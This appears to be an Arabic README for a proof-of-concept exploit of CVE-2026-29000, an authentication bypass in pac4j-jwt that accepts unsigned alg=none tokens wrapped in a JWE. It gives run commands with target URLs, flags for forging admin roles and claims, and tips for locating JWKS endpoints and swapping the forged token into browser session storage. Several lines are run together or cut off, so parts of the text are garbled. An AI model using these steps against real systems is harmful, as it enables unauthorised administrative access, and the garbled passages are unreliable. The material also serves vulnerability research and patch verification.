
# CVE-2026-29000 PoC: تجاوز المصادقة PlainJWT-in-JWE في pac4j-jwt
إثبات المفهوم لـ CVE-2026-29000. يستهدف إصدارات pac4j-jwt الأقدم من 4.5.9 و5.7.9 و6.3.3.
الثغرة واضحة ومباشرة: المكتبة تقبل PlainJWT (غير موقّع، alg=none) طالما أنه مغلّف داخل JWE صالح. وبما أن الخادم يعرض مفتاحه العام RSA عبر نقطة نهاية JWKS، يمكن لأي شخص تشفير JWT غير موقّع بشكل تعسفي إلى JWE سيثق به الخادم — بما في ذلك واحد يحمل ROLE_ADMIN.
alg=none) مع أي ادعاءات تريدهايقوم الخادم بفك تشفيره، ويثق بالادعاءات الموجودة بداخله، ولا يتحقق أبدًا من أن JWT الداخلي غير موقّع.
Python 3.13+ مع uv، أو قم بتثبيت التبعيات يدويًا:
pip install jwcrypto requests
[uv run / python3] CVE-2026-29000.py --url <base_url> --jwks <jwks_path> [options]
إلزامي:
| flag | الوصف |
|---|---|
--url | عنوان URL الأساسي للهدف، على سبيل المثال http://10.10.11.x:8080 |
--jwks | المسار أو عنوان URL الكامل لنقطة نهاية JWKS |
اختياري:
أمثلة:
python3 exploit.py --url http://10.10.11.x:8080 --jwks /api/auth/jwks
python3 exploit.py --url http://10.10.11.x:8080 --jwks /api/auth/jwks --user john --role ROLE_ADMIN
python3 exploit.py --url http://10.10.11.x:8080 --jwks /.well-known/jwks.json --enc A128GCM
ليست واضحة دائمًا. أماكن جيدة للبحث:
/robots.txt — غالبًا ما يسرد المسارات المقيدة أو الداخلية/api/auth/jwks/.well-known/jwks.json/.well-known/openid-configurationإذا تم رفض الرمز المميز، فقد يتوقع التطبيق خوارزمية تشفير محددة. تحقق من /static/js/app.js بحثًا عن شيء مثل:
const JWE_ALG = "RSA-OAEP-256";
const JWE_ENC = "A128GCM";
ثم أعد التشغيل مع --enc A128GCM.
طريقة تخزين الرمز المميز موجودة أيضًا عادةً هناك:
class TokenManager {
static getToken() {
return sessionStorage.getItem('auth_token');
}
}
إذا كان sessionStorage، فاستبدل الرمز المميز مباشرة في DevTools تحت Application > Session Storage.
تم إصلاحها في 4.5.9 و5.7.9 و6.3.3.
| flag | الافتراضي | الوصف |
|---|
--user | admin | قيمة ادعاء sub |
--role | ROLE_ADMIN | الدور المراد تزويره (ROLE_ADMIN، ROLE_MANAGER، ROLE_USER) |
--issuer | principal-platform | قيمة ادعاء iss |
--enc | A256GCM | تشفير محتوى JWE (A256GCM أو A128GCM) |